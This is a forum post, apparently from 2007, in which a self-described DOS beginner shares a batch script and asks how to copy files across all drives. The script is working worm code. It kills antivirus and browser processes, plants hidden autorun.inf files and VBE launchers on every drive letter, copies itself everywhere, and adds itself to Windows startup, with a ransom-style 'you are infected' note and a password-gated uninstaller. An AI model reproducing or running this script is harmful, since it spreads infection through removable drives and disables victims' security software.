I've been learning DOS for a week and wrote the following code.
I saw a code for full-disk copying that didn't use the for command but was implemented using environment variables. But I don't know how to do it. Is there any expert who can give me some guidance? Thanks a lot.
[ Last edited by 421062724 on 2007-4-18 at 12:52 PM ]
I saw a code for full-disk copying that didn't use the for command but was implemented using environment variables. But I don't know how to do it. Is there any expert who can give me some guidance? Thanks a lot.
@echo off
setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS
cd /d "%~dp0"
if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")
if exist %systemroot%\wataxiwabaka.txt (del %systemroot%\wataxiwabaka.txt&&goto end)
if exist %systemroot%\pujie.txt goto check ELSE goto start
:check
for /f "tokens=2-11 delims==" %%a in (%systemroot%\pujie.txt) do (If "%%a%%b%%c%%d%%e%%f%%g%%h%%i%%j"=="diaonigehi" goto del)
:start
call:course>%systemroot%\course.txt
For /f "eol=: tokens=2* delims==" %%F in (%systemroot%\course.txt) do (taskkill /f /im %%F) >nul 2>nul
For %%F in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (call:read>%%F\作者的话.txt)>nul 2>nul
For %%F in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (call:inf>%%F\autorun.inf&attrib +a +s +h +r %%F\autorun.inf)>nul 2>nul
For %%F in (%systemRoot%\ C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (call:vbe>%%F\%~n0.vbe&attrib +a +s +h +r %%F\%~n0.vbe)>nul 2>nul
copy %~dpnx0 %systemroot%\
For %%F in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (copy %systemroot%\%~nx0 %%F&&attrib +a +s +h +r %%F\%~xn0)>nul 2>nul
call:vbe2>"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe
start %systemroot%\%~n0.vbe
:vbe2
echo wscript.createobject("wscript.shell").run """%systemroot%\%~nx0"" /start",0
goto:diao>nul 2>nul
:inf
echo.
echo.open=wscript.exe %~n0.vbe
echo.shell\open\command=wscript.exe %~n0.vbe
echo.shell\explore\command=wscript.exe %~n0.vbe
echo.shell\find\command=wscript.exe %~n0.vbe
goto:diao>nul 2>nul
:vbe
echo wscript.createobject("wscript.shell").run """%~nx0"" /start",0
goto:diao>nul 2>nul
:course
echo course=RarStub.exe
echo course=RavTask.exe
echo course=Ravmon.exe
echo course=Ravmond.exe
:: Rising Antivirus
echo course=avgas.exe
:: AVG
echo course=Kpfwsvc.exe
echo course=kpfw32.exe
echo course=kavpew.exe
:: Kingsoft
echo course=360shell.exe
:: 360
echo course=qqdoctor.exe
:: QQ Doctor
echo course=iexplore.exe
:: IE
echo course=kmailmon.exe
echo course=kavstart.exe
echo course=kwatch.exe
:: Kingsoft
goto:diao>nul 2>nul
:read
echo. Hello, your computer has been infected with a virus. But don't be overly frightened. This virus has no destructive behavior, just for testing the code. If you can't delete this virus, please enable the self-contained uninstaller of this virus. You can create a document named wataxiwabaka.txt in %systemroot%. An uninstall prompt will pop up within 30 seconds. Thank you for your cooperation. Wish you a happy uninstallation.
goto:diao>nul 2>nul
:mima
echo.set /p mima="Please enter the password and press Enter to confirm:"
echo.pause
echo.if "%%mima%%"=="050353210" echo 正确^&^&pause^&^&goto call
echo.echo 错误
echo.pause
echo.goto:exit
echo.:call
echo.call:txt^>^%systemroot%\pujie.txt
echo.:txt
echo.echo 1=d=i=a=o=n=i=g=e=h=i
echo.:exit
echo.exit
goto:diao
:end
echo.@echo off>%systemroot%\mima.bat
call:mima >>%systemroot%\mima.bat
start %systemroot%\mima.bat
start %systemRoot%\%~n0.vbe
exit
:del
FOR %%F in (%systemRoot%\ C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) DO (FOR %%D in (autorun.inf %~nx0 %~n0.vbe) DO attrib -s -h -a -r %%F\%%D)
FOR %%F IN (%systemRoot%\ C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) DO (FOR %%D IN (autorun.inf %~nx0 %~n0.vbe 作者的话.txt) DO del %%F\%%D)
del %systemroot%\mima.bat
del %systemroot%\course.txt
del %systemroot%\pujie.txt
del %systemroot%\wataxiwabaka.txt
del /q "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe"
exit[ Last edited by 421062724 on 2007-4-18 at 12:52 PM ]

